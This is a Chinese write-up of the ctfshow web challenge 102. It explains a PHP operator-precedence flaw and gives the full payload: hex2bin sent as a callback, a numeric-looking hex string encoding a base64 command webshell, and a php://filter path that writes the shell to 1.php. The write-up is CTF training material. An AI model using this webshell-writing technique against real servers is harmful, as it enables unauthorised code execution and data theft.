ctf show web入门102

这是一道考查php特性的题目先看源代码

其中有一行内容为:

php 复制代码
$v4 = is_numeric($v2) and is_numeric($v3);

在php中赋值运算符=的优先级高于逻辑运算符and

所以这段代码的执行逻辑为:

php 复制代码
($v4 = is_numeric($v2)) and is_numeric($v3);

这意味着只要is_numeric(v2)返回的为true4就会被赋值为true

php 复制代码
$s = substr($v2,2);
    $str = call_user_func($v1,$s); 

substr(v2, 2) 会切掉 v2的前两个字符calluserfunc(v2 的前两个字符 call_user_func(v2的前两个字符calluserfunc(v1, s) 是一个危险的回调函数,相当于执行 v1(v1(v1(s)。

因为 v2 必须通过 is_numeric() 检查,所以 v2 的前两个字符必须是数字(或者能让整个字符串被识别为数字的结构)。

php 复制代码
echo $str;
    file_put_contents($v3,$str); 

file_put_contents() 是 PHP

中用于将数据写入文件的函数。它的主要特点是一次性完成写入操作,无需手动打开、写入、关闭文件。 基本语法 php

file_put_contents(string filename, mixed data, int $flags = 0,

resource $context = ?): int|false

参数说明

复制代码
$filename:要写入的文件路径。

$data:要写入的数据,可以是字符串、数组(会直接拼接)或流资源。

$flags(可选):可组合 FILE_USE_INCLUDE_PATH(在 include 路径中查找文件)、FILE_APPEND(追加而非覆盖)、LOCK_EX(写入时获得独占锁)。

$context(可选):流上下文,用于修改流行为。

返回值

复制代码
成功时返回写入的字节数(int)。

失败时返回 false。

特点

复制代码
自动处理文件打开、写入、关闭。

默认行为是覆盖文件内容(除非使用 FILE_APPEND 标志)。

如果文件不存在,会尝试创建它(目录必须存在)。

支持二进制数据安全(与 fwrite() 类似)。

示例 php

// 覆盖写入 file_put_contents('test.txt', 'Hello World');

// 追加写入 file_put_contents('log.txt', date('Y-m-d H:i:s') . "\n",

FILE_APPEND | LOCK_EX);

// 写入数组 $arr = 'line1', 'line2'; file_put_contents('list.txt',

$arr); // 输出 "line1line2"

我们的目标是往 v3(文件名)写入 WebShell。因为 v1 和 $s 都受我们控制,我们可以调用 PHP 的 hex2bin 函数。

把 $v1 设置为 hex2bin。

把 s 设为一句话木马但是因为这里php版本是7.3所以不能将2写成以0x开头的由一句话木马转为的16进制了

这里我们可以构造木马为<?=cat *;经过base64加密后为PD89YGNhdCAqYDs

再进过字符转16进制为5044383959474e6864434171594473这里就只有一个e所以会被当成科学计数法从而绕过限制

此时我们构造payload:

v1=hex2bin通过post方式传参

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-encode/resource=1.php

通过get方式传参

然后访问1.php

发现上传成功访问该网站源代码

得到flag为:ctfshow{bf2e6b88-3cd0-49c4-8ba6-cdef7c15c16f}

相关推荐
小码哥_常9 小时前
一套自己部署的 IM,客户端是同一份 Flutter
前端·后端
蜗牛攻城狮11 小时前
微前端四大方案选型对比与最佳实践:qiankun、micro-app、wujie、Module Federation
前端·微前端·qiankun·前端架构·micro-app·wujie
学长毕设11 小时前
基于SpringBoot的实验室资产管理系统
java·spring boot·后端
sbjdhjd12 小时前
网工进阶笔记:H3CSE 园区网全栈技术与协议汇总
网络·笔记·云计算·ssh·网络工程·vlan·aaa
驰骋工作流12 小时前
流程时效考核的表结构:从待办时限到 WF_CH 考核结果驰骋BPM驰骋低代码低代码工作流引擎
android·低代码·rxjava
她说可以呀12 小时前
Vue插槽
前端·javascript·vue.js
qq_4480111612 小时前
Vue + Jinja2两套模版与法冲突造成undefinedError
前端·javascript·vue.js
zzu123zsw13 小时前
从臃肿的模板调用到声明式契约:深入 UniHttp 动态代理与多渠道生命周期扩展
java·spring boot·microsoft·unihttp
aixingpan13 小时前
aixingpan.cn API开发文档:前端查询夏令时和时区接口指南
前端·php
2601_9583529013 小时前
23.5×19mm 换掉一整条音频链?|A-68 集成了什么:ADC / DAC / 24.576MHz 时钟 / AEC / 波束降噪,主控仅需 6 根线
前端·音视频·ai降噪·回声消除·语音模块